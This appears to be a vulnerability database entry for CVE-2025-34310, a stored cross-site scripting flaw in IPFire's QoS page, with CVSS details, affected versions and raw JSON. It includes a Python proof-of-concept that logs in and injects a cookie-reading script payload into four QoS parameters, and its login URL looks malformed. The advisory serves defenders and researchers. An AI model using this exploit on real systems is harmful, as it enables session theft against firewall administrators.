Security Vulnerability Report
中文
CVE-2025-34310 CVSS 5.4 MEDIUM

CVE-2025-34310

Published: 2025-10-28 15:16:11
Last Modified: 2025-11-03 17:02:05

Description

IPFire versions prior to 2.29 (Core Update 198) contain a stored cross-site scripting (XSS) vulnerability that allows an authenticated attacker to inject arbitrary JavaScript code through the INC_SPD, OUT_SPD, DEFCLASS_INC, and DEFCLASS_OUT parameters when updating Quality of Service (QoS) settings. When a user updates speeds or classes, the application issues an HTTP POST request to /cgi-bin/qos.cgi and the values for incoming/outgoing speeds and default classes are provided in the INC_SPD, OUT_SPD, DEFCLASS_INC, and DEFCLASS_OUT parameters. The values of these parameters are stored and later rendered in the web interface without proper sanitation or encoding, allowing injected scripts to execute in the context of other users who view the affected QoS entries.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ipfire:ipfire:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update183:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update184:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update185:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ipfire:ipfire:2.29:core_update186:*:*:*:*:*:* - VULNERABLE
IPFire < 2.29 (Core Update 198)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-34310 PoC - IPFire Stored XSS via QoS Settings # Target: IPFire < 2.29 (Core Update 198) TARGET_URL = "http://<ipfire-ip>/cgi-bin/qos.cgi" USERNAME = "admin" PASSWORD = "password" XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit_stored_xss(): """ This PoC demonstrates how to inject XSS payload through QoS settings. The payload is stored and executed when other users view the QoS page. """ session = requests.Session() # Step 1: Login to IPFire login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(f"{TARGET_URL.replace('/qos.cgi', '/cgi-bin/login.cgi')}", data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Logged in successfully") # Step 2: Inject XSS payload through QoS settings qos_data = { 'INC_SPD': f'1000000{XSS_PAYLOAD}', 'OUT_SPD': f'500000{XSS_PAYLOAD}', 'DEFCLASS_INC': f'1{XSS_PAYLOAD}', 'DEFCLASS_OUT': f'2{XSS_PAYLOAD}', 'ACTION': 'save' } response = session.post(TARGET_URL, data=qos_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[+] Payload will execute when other users view QoS settings") return True else: print("[-] Injection failed") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34310", "sourceIdentifier": "[email protected]", "published": "2025-10-28T15:16:11.293", "lastModified": "2025-11-03T17:02:04.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IPFire versions prior to 2.29 (Core Update 198) contain a stored cross-site scripting (XSS) vulnerability that allows an authenticated attacker to inject arbitrary JavaScript code through the INC_SPD, OUT_SPD, DEFCLASS_INC, and DEFCLASS_OUT parameters when updating Quality of Service (QoS) settings. When a user updates speeds or classes, the application issues an HTTP POST request to /cgi-bin/qos.cgi and the values for incoming/outgoing speeds and default classes are provided in the INC_SPD, OUT_SPD, DEFCLASS_INC, and DEFCLASS_OUT parameters. The values of these parameters are stored and later rendered in the web interface without proper sanitation or encoding, allowing injected scripts to execute in the context of other users who view the affected QoS entries."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.29", "matchCriteriaId": "9A0A85D3-A192-4FD9-9510-99D85BCF334A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update183:*:*:*:*:*:*", "matchCriteriaId": "A39350F9-D6D9-49A5-88BC-C5489AA6038C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update184:*:*:*:*:*:*", "matchCriteriaId": "CDDC0CEB-073B-41A0-8A52-4DAAAD77AA6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update185:*:*:*:*:*:*", "matchCriteriaId": "745640B9-2180-48C3-82CC-D6E73AAF95D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update186:*:*:*:*:*:*", "matchCriteriaId": "08006D41-7288-4333-83FE-B6FD7CD5C779"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update187:*:*:*:*:*:*", "matchCriteriaId": "15EE4FEE-62AB-4172-B898-19DE6F50B7AC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update188:*:*:*:*:*:*", "matchCriteriaId": "5B0ECE9B-DD45-40E1-842A-0B0B1786187E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update189:*:*:*:*:*:*", "matchCriteriaId": "9B9BDB00-A750-4053-8812-5A3854042CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update190:*:*:*:*:*:*", "matchCriteriaId": "16F654D7-CC82-4428-BBEF-1110CAE75597"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update191:*:*:*:*:*:*", "matchCriteriaId": "FFCC61A9-AF1B-4F8A-98D2-FB7854AF0EF6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ipfire:ipfire:2.29:core_update192:*:*:*:*:*:*", "matchCriteriaId": "7A66DC97-E88F-455E-B688-88BCC95E861B"}, {"vulnerable": true, "criteria": "cpe:2.3:a ... (truncated)